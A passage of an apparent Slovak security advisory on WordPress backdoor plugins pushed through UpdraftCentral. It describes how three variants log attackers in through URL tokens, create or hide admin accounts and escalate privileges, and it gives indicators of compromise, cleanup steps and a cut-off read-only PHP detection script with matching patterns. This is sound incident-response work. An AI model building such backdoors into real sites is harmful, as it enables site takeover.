  5. Prihlási návštevníka ako tohto používateľa cez wp_set_auth_cookie s voľbou „zapamätať si ma“, teda cookie platnou 14 dní. Prihlasovací formulár tým úplne obíde, takže naň nepôsobí dvojfaktorové overenie, obmedzenie počtu pokusov ani ochrana prihlásenia vo Wordfence.
  6. Presmeruje ho do administrácie.

Rola Editor s dvoma oprávneniami navyše je zámer. V zozname používateľov sa účet ukazuje ako Editor, nie Administrátor, takže pri bežnej kontrole adminov ho prehliadnete. Prakticky má však plnú moc nad webom:

  • install_plugins dovolí nahrať ľubovoľný plugin. Jeho PHP súbory sa dajú spustiť priamo cez URL aj bez aktivácie, čo znamená spustenie ľubovoľného kódu na serveri.
  • manage_options sprístupní všetky nastavenia. Stačí zapnúť registráciu a predvolenú rolu nastaviť na administrátora, a útočník si vytvorí plnohodnotného admina.
  • Editor má na bežnom WordPresse aj unfiltered_html, takže môže do článkov vložiť JavaScript, ktorý sa spustí v prehliadači každého administrátora.

Backdoor má aj druhú vrstvu. Vytvorený účet so známym heslom ostane vo WordPresse aj po odstránení pluginu a útočník sa ním vie prihlásiť cez bežný formulár, ak tento účet nemá zapnuté dvojfaktorové overenie.

Chyba, ktorá nás zachránila

Konštanty sú definované funkciou define() ako globálne (LOADSTACK35C_FIELD), ale kód ich číta ako konštanty triedy (self::FIELD). Trieda žiadne konštanty nemá. PHP 8 preto pri prvom vyhodnotení self::FIELD vyhodí Error: Undefined constant LoadStack35c::FIELD. Stane sa to ešte pred kontrolou tokenu, teda pri každej požiadavke: pri bežnej návšteve, v administrácii, pri prihlásení, v REST API, pri crone aj vo WP-CLI. Web padá s chybou 500 a obsluhuje len stránky uložené v cache.

Požiadavka s inštaláciou pritom dobehla úspešne. UpdraftCentral spracúva príkazy až v akcii wp_loaded, ktorá prichádza po init, takže v tej požiadavke sa chybný kód nespustil. Útočník dostal potvrdenie o úspechu a o chybe sa z odpovede nedozvedel. Spadli až nasledujúce požiadavky.

Útočníkovi však stačí opraviť pár znakov a ďalšia vlna môže fungovať. Ak u seba nájdete podobný „pokazený“ plugin, neopravujte ho. Oprava by backdoor zapla. Odstráňte ho.

Ďalšie detaily

  • Plugin sa tvári ako bežný doplnok: má úplnú hlavičku, licenciu GPL, Text Domain, popis „Small maintenance toolkit: keeps option storage tidy.“ a vymyslené vydavateľstvo („PixelBinder“, „Harbor Stack Labs“).
  • Súbory assets/public.css, assets/public.js a languages/readme.txt obsahujú iba komentár. Plugin ich nikde nepoužíva, sú tam, aby priečinok vyzeral ako skutočný plugin.
  • uninstall.php pri odinštalovaní z administrácie zmaže voľby <slug>_sync_token a <slug>_setup_stamp, teda stopy po sebe. Druhú voľbu kód nikde nevytvára, je to pozostatok šablóny.
  • Pri aktivácii uloží token do voľby <slug>_sync_token bez automatického načítania. Kód ju nikde nečíta.
  • Obe vzorky vyrobil ten istý generátor. Keď v nich nahradíme názvy, tokeny, mená a verzie zástupnými reťazcami, sú všetky súbory bajt po bajte zhodné. Názov má tvar slovo-slovo-3 hex znaky, parameter _ a 6 hex znakov, používateľ slovo-slovo a dve číslice. Token má 32 znakov a heslo 22 znakov (písmená, číslice, podčiarkovník).

Indikátory kompromitácie

Web AWeb B
Priečinok pluginuload-stack-35ctext-gantry-eb0
Názov / autor / verziaLoad Stack 35C / PixelBinder / 1.2.6Text Gantry Eb0 / Harbor Stack Labs / 3.9.5
Parameter v URL_9f5696_3e9caa
Používateľdata-ops43media-staff96
Voľba v databázeload_stack_35c_sync_tokentext_gantry_eb0_sync_token
SHA-256 hlavného súboru3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209fbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801
SHA-256 uninstall.php4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f04943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9

Ďalšie vzorky prvého variantu nám poslali iné obete a ďalšie názvy uvádza Patchstack:

  • hero-frame-2c5, autor „CopperForge WP“, používateľ s e-mailom render-build21@example.org, SHA-256 hlavného súboru a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9, uninstall.php 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111
  • card-binder-104, verzia 2.6.7, používateľ render.desk87
  • style-bridge-8f5, „Style Bridge 8F5“ 2.6.6, autor „StoneDock Tools“, parameter _0f907e, používateľ data.build20, SHA-256 hlavného súboru 0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde, uninstall.php 99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5
  • media-kit-183, „Media Kit 183“ 3.7.8, autor „AshBridge Digital“, parameter _98a0a7, používateľ web_maint88, SHA-256 hlavného súboru 03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63, uninstall.php 8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190
  • query-shelf, „Query Shelf“ 2.6.1, rovnaká chyba QueryShelf::FIELD, názov bez troch hex znakov na konci
  • post-dock-776, „Post Dock 776“ 1.7.8, autor „CommonGantry“, parameter _5fa3f1, používateľ site_build55, SHA-256 hlavného súboru 8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321, uninstall.php 6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30
  • nav-hub, „Nav Hub“ 1.0.5, autor „PixelBinder“ (rovnaký ako pri load-stack-35c), chyba NavHub::FIELD, názov bez hex znakov na konci
  • speed-desk, „Speed Desk“ 3.7.1, autor „Harbor Stack Labs“, parameter _685679, používateľ render.maint85, 80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483
  • speed-kit-300, „Speed Kit 300“ 3.8.4, autor „Nordic Toolworks“, parameter _c4bda9, používateľ data-team4, 0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3
  • link-latch, „Link Latch“ 3.0.2, autor „CommonGantry“, parameter _b10fa0, používateľ media.crew54, d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8
  • script-shelf, „Script Shelf“ 1.9.2, autor „CopperForge WP“, parameter _697e00, používateľ content-crew90, 7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2
  • feed-case, „Feed Case“ 1.5.1, autor „LoftStack“, parameter _78d327, používateľ web_ops15, 02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429
  • cache-jack-c7a, „Cache Jack C7A“ 2.7.3, autor „PixelBinder“, parameter _48c603, používateľ render.desk2, SHA-256 hlavného súboru 425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72, uninstall.php 335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017
  • Mená falošných autorov sa opakujú naprieč variantmi aj webmi, napríklad „PixelBinder“, „Harbor Stack Labs“, „CommonGantry“, „CopperForge WP“, „MetaLayer“ či „WPBridge“. Plugin od takého autora, ktorý ste neinštalovali, je takmer iste backdoor.
  • Ďalšie názvy, ktoré zverejnil Wordfence: speed-press-23b, hero-bridge-6c9, site-health-6a20, db-works-7dba, cache-frame, site-engine; používatelia site_editor784, site.crew51, web_desk9.
  • podľa Patchstacku napríklad „Site Health Cache“, „Asset Forge 2“, „Content Helper“ a „Wp Forge“, spolu 99 názvov

Spoločné znaky:

  • IP adresy 43.250.53.42 a 2a09:bac5:4e21:2e3c::49b:9, User-Agent presne WordPress/6.4; class-udrpc.php, požiadavka POST /
  • Pokusy použiť backdoor 20. 10.: IP adresy 178.83.37.220, 178.83.37.243, 178.94.218.31 a rozsahy 69.33.133.x, 69.33.134.x a 69.33.144.x, User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (bez časti s verziou prehliadača), požiadavka GET /?<spúšťač>=<token>
  • Možno súvisiace: od 20. 10. vidíme na našich weboch aj zisťovanie verzie UpdraftPlus cez /wp-content/plugins/updraftplus/readme.txt, často s následným POST /wp-admin/admin-ajax.php, z adries 107.189.14.87, 45.61.188.240 a 45.61.184.170 s podvrhnutými User-Agentmi prehliadačov. Rovnaké rozsahy hlási aj ďalší správca. Či ide o toho istého útočníka, nevieme.
  • v logu UpdraftCentral sonda probe.central.updraftplus.com a o niekoľko hodín Command received: plugin.upload_plugin
  • popis pluginu „Small maintenance toolkit: keeps option storage tidy.“
  • používateľ s e-mailom na @example.org a zobrazovaným menom „Site Tools“, s rolou Editor a oprávneniami manage_options a install_plugins
  • fatálna chyba Undefined constant <Trieda>::FIELD a e-mail WordPressu o chybe v plugine, ktorý nepoznáte

Druhý variant: funkčný backdoor s administrátorským účtom

Tento variant nám opísali dvaja ďalší postihnutí správcovia. Prvý spravuje približne 145 webov a našiel ho na dvoch z troch napadnutých. Útočník ho tam nepoužil: nevznikla voľba _uid, žiadny účet ani cudzia relácia. Druhý ho našiel na troch zo štyroch webov, kam sa backdoor nainštaloval, a potvrdil, že funguje: na rozdiel od prvého variantu nemá chybu, ktorá by web zhodila. Ďalší správca nám poslal vzorku boost-kit, takže sme ho rozobrali aj sami. Popis oboch správcov sa potvrdil okrem skrývania účtu, ktoré nefunguje.

  • Je to jeden súbor PHP s náhodným názvom, ktorý nemusí zodpovedať vzoru prvého variantu (napríklad opt4fix, cache-smith). Popis sa líši v každej vzorke, raz to bolo „Improves cron tasks efficiency for content sites with minimal overhead.“.
  • Na zakrytie pri aktivácii nastaví voľbu <slug>_installed, naplánuje denný cron <slug>_maintenance, ktorý naozaj maže expirované transienty, a pridá filter pre jQuery na stránkach AMP.
  • Spúšťač: parameter s názvom z 12 hex znakov a 32-znakový token, napríklad ?f2b9faa21ebd=… alebo ?303541c9dfd0=…&m=setup. Ďalšie zistené názvy parametrov: f883d260d98a, a613ff6d53aa, 6eb3d55b634e, f343ef05a88e, a67730d1b537, 2c71bff4b006, 666b564665a9.
  • Bez parametra m prihlási útočníka ako prvého existujúceho administrátora a presmeruje ho do administrácie. Nevytvorí žiadny účet, takže zostane len súbor pluginu a riadok v access logu.
  • Režim m=setup vytvorí plnohodnotného administrátora a jeho ID uloží do voľby <slug>_uid (napríklad src_lab_uid). Režim m=svc prihlási útočníka do tohto účtu. Účty majú tvar system_team850, web.tech988, cmseditor170, cms.tech644 alebo web_mgr684 s e-mailom na @example.com a zobrazované meno napríklad „System Team“, „Web Tech“, „System Staff“, „System Ops“ či „Cms Tech“.
  • Účet sa pokúša skryť háčikom pre_user_query a filtrom pre_count_users, ale oba sú napísané zle. pre_user_query pridá účet medzi vylúčených až po tom, čo WordPress zostavil SQL dotaz, takže na výsledok nemá vplyv. pre_count_users dostane namiesto počtov hodnotu null a nič nezmení. Na WordPresse 7.1.3 sme overili, že sa účet v zozname používateľov aj v počte administrátorov zobrazí normálne.
  • Nemá uninstall.php. Pri deaktivácii zmaže len voľbu <slug>_installed.
  • Doručenie je rovnaké ako pri prvom variante: sonda a potom plugin.upload_plugin, z IP 43.250.53.42 aj 2a09:bac5:4e21:2e3c::49b:9, v noci z 18. na 19. októbra (napríklad src-lab 18. 10. o 23:39 UTC, render-helper-232b 19. 10. o 0:03 UTC).

Vzorky (SHA-256 hlavného súboru):

  • src-lab, „Src Lab“ 3.0.0, autor „WPBridge“, src-lab.php 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928
  • render-helper-232b, „Render Helper 232b“ 3.7.9
  • opt4fix, „Opt4fix“ 2.9.2, autor „DigitalFork“, 54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c
  • js-fix-757a, „Js Fix 757a“ 2.8.3, autor „WPBridge“, 2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a
  • lazy-tool-3055, „Lazy Tool 3055“ 1.3.8, autor „MetaLayer“, 1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec
  • cache-smith, „Cache Smith“ 1.3.1, autor „ToolBelt WP“, 43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49
  • boost-kit, „Boost Kit“ 2.9.3, autor „PixelForge“, popis „Simple database queries management with automatic cleanup routines.“, fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1
  • fast2engine, „Fast2engine“ 1.6.9, autor „CodeBarn“, popis „Reliable transient storage maintenance companion for site owners.“, účet wp.tech506@example.com, 0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd
  • defer-engine, „Defer Engine“ 3.3.1, autor „SiteCraft Labs“, popis „Fine-tunes script loading delivery to reduce load times on busy sites.“, účet media-mgr138, 87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91
  • minify-tool-bf90, „Minify Tool Bf90“ 2.9.8, autor „MetaLayer“, popis „Improves asset loading efficiency for content sites with minimal overhead.“, účet pageeditor85, ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8

Ako ho nájsť: kontrolný skript vo verzii 3 hľadá súbory pluginov podľa známych reťazcov, napríklad „keep service accounts out of the main user list“, aj podľa kódu (prihlásenie cez wp_set_auth_cookie po hash_equals nad hodnotou z URL, skrývanie cez pre_user_query a pre_count_users), preverí voľby <slug>_uid a <slug>_installed a používateľov číta priamo z databázy. Prehľadá aj wp-content/upgrade/, kde zostane rozbalený plugin, aj keď sa inštalácia nepodarila. Access log skontrolujte podľa postupu v časti „Čo urobiť hneď“.

Tretí variant: minimálny backdoor

Ten istý správca našiel aj plugin site-health-364f („Site Health 364F“, verzia 1.0, popis „Maintenance helper.“, bez autora). Je to jediný súbor s 673 bajtmi bez akéhokoľvek maskovania:

  • Pri aktivácii uloží voľbu site_health_364f_ver.
  • Spúšťač: parameter 83e590bb7e9b s 32-znakovým tokenom zapísaným priamo v kóde.
  • Útočníka prihlási ako prvého existujúceho administrátora a presmeruje ho do administrácie. Žiadny účet nevytvára.
  • SHA-256 site-health-364f.php: 056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa

Okrem pluginu po ňom zostane len riadok v access logu, ktorý nájde grep z časti „Čo urobiť hneď“. Kontrolný skript ho zachytí od verzie 4.

Ďalší správca našiel jeho skrytú obmenu site-health-cache („Site Health Cache“ 1.0.0, bez popisu a autora, spúšťač 38af88274bf8, voľba sh_cache_ver, SHA-256 fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd). Filtrom all_plugins sa vyradí zo zoznamu pluginov a filtrom pre_update_option_recently_activated aj zo zoznamu nedávno aktivovaných, takže v administrácii ho neuvidíte, hoci je aktívny. Kontrolný skript ho nájde na disku. Rovnakú obmenu s iným spúšťačom (9c37ef099b7b, SHA-256 2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205) našiel aj ďalší správca.

Čo robiť, ak ho nájdete

  1. Ak ste to ešte neurobili, zrušte spojenie s UpdraftCentral podľa postupu v časti „Čo urobiť hneď“. Inak môže útočník poslať opravenú verziu backdooru.
  2. Plugin deaktivujte a presuňte mimo webového priečinka. Ak ho chcete ponechať ako dôkaz, nemažte ho cez administráciu, lebo uninstall.php zmaže jeho voľby.
  3. Zmažte voľby backdooru (<slug>_sync_token, <slug>_uid, <slug>_installed, <slug>_ver) a účet, ktorý vytvoril.
  4. Skontrolujte používateľov kontrolným skriptom nižšie. Ak backdoor fungoval, teda jeho účet existuje alebo sa v access logu objavila požiadavka s jeho parametrom, považujte web za plne kompromitovaný. Útočník mohol nahrať ďalšie pluginy alebo webshell a zmeniť súbory či databázu. Web obnovte zo zálohy spred 17. októbra, porovnajte súbory s čistou inštaláciou a prejdite všetkých používateľov s oprávneniami navyše.
  5. Zmeňte heslá administrátorov a k účtu UpdraftCentral Cloud, ukončite všetky prihlásené relácie a zapnite dvojfaktorové overenie. Prémiový UpdraftPlus môže mať heslo k účtu teamupdraft.com uložené v databáze tak, ako ste ho zadali (voľba updraftplus-addons_options). Ak sa útočník dostal do administrácie alebo databázy, považujte toto heslo za uniknuté.
  6. Zvážte, či vzdialenú správu potrebujete. Ak áno, kľúč vytvorte pod účtom, ktorý nemá práva inštalovať pluginy, ak ich na diaľku nepotrebujete. Na webe C útok zastavila práve táto náhoda.

Kontrolný skript

Skript skontroluje päť vecí: či je web pripojený k UpdraftCentral, čo web cez UpdraftCentral prijal, či sú v priečinkoch plugins, mu-plugins a upgrade súbory backdooru, či sú v databáze jeho voľby a či existuje jeho účet alebo iný používateľ s nečakanými právami. Verzia 3 rozpozná backdoor aj podľa kódu, takže zachytí aj premenované vzorky funkčného variantu s iným popisom, preverí voľby <slug>_uid a <slug>_installed, používateľov číta priamo z databázy a upozorní na administrátorov vytvorených od 17. 10. Verzia 4 navyše zachytí minimálny tretí variant podľa tokenu zapísaného priamo v kóde. Verzia 5 hlási ako [WARN] aj ďalšie pluginy, ktoré prihlasujú podľa parametra v URL. Upozornil nás na to správca, ktorý na jednom webe našiel starší, s touto kampaňou nesúvisiaci backdoor doctor-connectivity-query aktívny od júna. Ten sa skrýva zo zoznamu pluginov a bez prihlásenia vykoná ľubovoľný kód. Účty na @example.com bez administrátorských práv vytvorené pred 17. 10., napríklad zákazníkov e-shopu registrovaných botmi, hlási verzia 5 už len ako [WARN]. Verzia 6 nájde aj zvyšné voľby prvého variantu, keď názov pluginu nekončí troma hex znakmi, napríklad query_shelf_sync_token. Verzia 7 upozorní, keď na webe log UpdraftCentral vôbec nie je, napríklad po odstránení UpdraftPlus, a nehlási ho ako čistý. Verzia 8 upozorní aj na pluginy, ktoré sa skrývajú zo zoznamu pluginov. Verzia 9 upozorní aj na kľúče UpdraftPlus Migrator. Verzia 10 upozorní aj na heslo k účtu teamupdraft.com uložené v databáze.

Na webe A po odstránení backdooru vypíše:

[OK]    No active UpdraftCentral connection.
[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK]    No backdoor plugin files found.
[OK]    No backdoor options in the database.
[OK]    No backdoor accounts or hidden admin-level users.

Skript si môžete stiahnuť aj priamo:

curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txt

SHA-256 skriptu: cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935. Celý kód:

<?php
/**
 * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
 * Read-only. It changes nothing on the site.
 * v2: also detects the second variant, which creates a hidden administrator.
 * v3: catches its renamed samples by code and by <slug>_uid / <slug>_installed options, and checks wp-content/upgrade.
 * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.
 * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without
 *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.
 * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).
 * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.
 * v8: warns about plugins that hide themselves from the WordPress plugin list.
 * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.
 * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.
 *
 * Run in the WordPress root directory:
 *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
 *
 * --skip-plugins matters: an installed copy of the backdoor crashes every request,
 * including WP-CLI, unless plugins are skipped.
 */

$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
	if ( 'ALERT' === $level ) $alerts++;
	if ( 'WARN' === $level ) $warnings++;
	echo str_pad( "[$level]", 8 ), $message, "\n";
};

echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";

// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
	foreach ( $keys as $id => $key ) {
		$report( 'WARN', sprintf(
			'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
			$id,
			isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
			isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
		) );
	}
} else {
	$report( 'OK', 'No active UpdraftCentral connection.' );
}
// UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.
$addons = get_option( 'updraftplus-addons_options' );
if ( ! is_array( $addons ) && is_multisite() ) $addons = get_site_option( 'updraftplus-addons_options' );
if ( is_array( $addons ) && ! empty( $addons['password'] ) ) {
	$report( 'WARN', 'UpdraftPlus keeps the teamupdraft.com account password for ' . ( isset( $addons['email'] ) ? $addons['email'] : '?' ) . ' in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.' );
}
// Migrator keys use the same UDRPC channel to receive backup files from another site.
$migrator_keys = get_option( 'updraft_migrator_localkeys' );
foreach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash => $key ) {
	$report( 'WARN', sprintf(
		'UpdraftPlus Migrator key "%s" is active: another site can send backup files here with it. Delete it unless you are migrating right now.',
		isset( $key['name'] ) ? $key['name'] : $hash
	) );
}

// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
	$message = isset( $entry['message'] ) ? $entry['message'] : '';
	$agent   = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
	$when    = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
	$ip      = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
	if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
		$log_hits++;
	} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
		$report( 'WARN', "$when  $ip  probe for UpdraftCentral (UA: $agent)." );
		$log_hits++;
	} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
		$report( 'ALERT', "$when  $ip  \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
		$log_hits++;
	}
}
if ( ! is_array( $log ) || ! $log ) {
	$report( 'INFO', 'There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent "WordPress/6.4; class-udrpc.php".' );
} elseif ( ! $log_hits ) {
	$report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
}

// 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content/upgrade
// (a push that failed to install still leaves the unpacked plugin there).
$is_backdoor = function ( $code ) {
	return false !== strpos( $code, 'keeps option storage tidy' )
		|| false !== strpos( $code, 'Improves cron tasks efficiency' )
		|| false !== strpos( $code, 'keep service accounts out of the main user list' )
		|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
		|| ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) )
		|| ( preg_match( '/hash_equals\(\s*[\'"][A-Za-z0-9_-]{20,}[\'"]/', $code ) && false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
};
// Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).
$logs_in_from_url = function ( $code ) {
	return false !== strpos( $code, '$_GET' ) && false !== strpos( $code, 'wp_set_auth_cookie' );
};
// A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.
$hides_itself = function ( $code ) {
	return preg_match( '/add_filter\(\s*[\'"]all_plugins[\'"]/', $code )
		&& preg_match( '/plugin_basename\(\s*__FILE__\s*\)/', $code )
		&& preg_match( '/unset\(\s*\$\w+\[\s*\$\w+\s*\]\s*\)/', $code );
};
$plugin_hits = 0;
$files = array_merge(
	(array) glob( WP_PLUGIN_DIR . '/*/*.php' ),
	(array) glob( WPMU_PLUGIN_DIR . '/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*.php' ),
	(array) glob( WP_CONTENT_DIR . '/upgrade/*/*/*.php' )
);
foreach ( $files as $file ) {
	$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
	$where = 0 === strpos( $file, WP_CONTENT_DIR . '/upgrade/' ) ? ' (left in wp-content/upgrade by a pushed plugin; the install may have failed)' : '';
	if ( $is_backdoor( $code ) ) {
		$report( 'ALERT', "Backdoor plugin file: $file$where" . ( $hides_itself( $code ) ? ' It hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $logs_in_from_url( $code ) ) {
		$report( 'WARN', "Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it." . ( $hides_itself( $code ) ? ' It also hides itself from the plugin list.' : '' ) );
		$plugin_hits++;
	} elseif ( $hides_itself( $code ) ) {
		$report( 'WARN', "Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it." );
		$plugin_hits++;
	}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );

// 4. Options the backdoor leaves behind.
global $wpdb;
$option_hits = 0;
// First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name
// without them counts only when its plugin is gone or is the backdoor itself.
foreach ( $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$'" ) as $name ) {
	$slug = str_replace( '_', '-', preg_replace( '/_(sync_token|setup_stamp)$/', '', $name ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	if ( is_file( $main ) && ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;
	$report( 'ALERT', "Backdoor option in the database: $name" );
	$option_hits++;
}
// The working variant stores <slug>_installed and the ID of its hidden administrator in <slug>_uid.
// Plugin names vary, so match the suffix and look at the plugin with the same slug.
foreach ( $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE '%\\_uid' OR option_name LIKE '%\\_installed'" ) as $o ) {
	$is_uid = '_uid' === substr( $o->option_name, -4 );
	$slug = str_replace( '_', '-', substr( $o->option_name, 0, $is_uid ? -4 : -10 ) );
	$main = WP_PLUGIN_DIR . "/$slug/$slug.php";
	$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : '';
	$u = ( $is_uid && ctype_digit( (string) $o->option_value ) ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
	$who = $u ? " (user {$u->user_login} <{$u->user_email}>)" : '';
	if ( ( $u && preg_match( '/@example\.(com|org)$/', $u->user_email ) ) || ( $code && ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {
		$report( 'ALERT', "Backdoor option in the database: {$o->option_name} = {$o->option_value}$who" );
		$option_hits++;
	} elseif ( $is_uid && $u && ! is_dir( WP_PLUGIN_DIR . "/$slug" ) ) {
		$report( 'WARN', "Option {$o->option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account." );
		$option_hits++;
	}
}
if ( ! $option_hits ) $report( 'OK', 'No backdoor options in the database.' );

// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name IN ('Site Tools', 'System Team', 'Web Tech', 'System Staff', 'System Ops', 'Cms Tech')" ) as $user ) {
	// Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
	$admin_level = ! empty( $caps['administrator'] ) || ! empty( $caps['manage_options'] ) || ! empty( $caps['install_plugins'] );
	if ( $admin_level || $user->user_registered >= '2026-10-17' ) {
		$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\", registered {$user->user_registered}" . ( $admin_level ? ', with admin-level rights' : '' ) );
	} else {
		$report( 'WARN', "Account {$user->user_login} <{$user->user_email}> \"{$user->display_name}\" matches the backdoor pattern but has no admin-level rights and was registered on {$user->user_registered}. Probably unrelated; make sure you know it." );
	}
	$flagged[ $user->ID ] = true;
	$user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
	$user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
	if ( isset( $flagged[ $user->ID ] ) ) continue;
	$caps = (array) get_user_meta( $user->ID, $cap_key, true );
